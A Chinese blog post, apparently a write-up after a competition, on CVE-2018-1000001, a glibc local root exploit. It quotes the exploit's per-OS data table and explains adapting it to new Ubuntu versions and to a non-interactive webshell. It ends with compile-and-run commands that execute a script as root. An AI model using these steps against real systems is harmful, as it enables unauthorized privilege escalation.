CVE-2018-1000001本地linux提权

最近打比赛遇上的提权漏洞,环境为ubuntu 17.10 (Artful Aardvark)
另外也需要在无交互式的webshell中提权(不通外网)。

漏洞细节: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/

这个洞主要是出在getcwd函数上,在路径判断出现一些问题,作者最后使用具有SUID的mountunmount的程序进行提权操作,所以这个主要对libc方面有一些要求.

可以看到exp里面,硬编码了一些数据在里面,如果系统符合才会进行执行,这就导致有些系统是不会成功的:
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c

static char* osSpecificExploitDataList[]={
// Debian Stretch
    "\"9 (stretch)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "from_archive",
// Delta for Debian Stretch "2.24-11+deb9u1"
    "\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
// Ubuntu Xenial libc=2.23-0ubuntu9
    "\"16.04.3 LTS (Xenial Xerus)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "_nl_load_locale_from_archive",
    "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
    "\"18.3 (Sylvia)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "_nl_load_locale_from_archive",
    "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
    NULL
};

osReleaseExploitData=osSpecificExploitDataList;
if(osRelease) {
// If an OS was detected, try to find it in list. Otherwise use
// default.
for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
 if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
   osReleaseExploitData=osSpecificExploitDataList+tPos;
   break;
 }
}
}

可以获取VERSION,然后将上处修改一下。

赛后使用阿里云的ubuntu 16.04.3做复现,可以提权成功。

至于无交互的地方,修改此处即可

修改版为: https://raw.githubusercontent.com/l3m0n/pentest_tools/master/权限攻防/linux/内核提权/CVE-2018-1000001/love1.c

gcc -o exp love1.c -std=c99
./exp

这个将会以root权限执行/bin/bash /tmp/aaaaa.sh

posted @ 2018-01-29 15:42  l3m0n  阅读(3166)  评论(1编辑  收藏  举报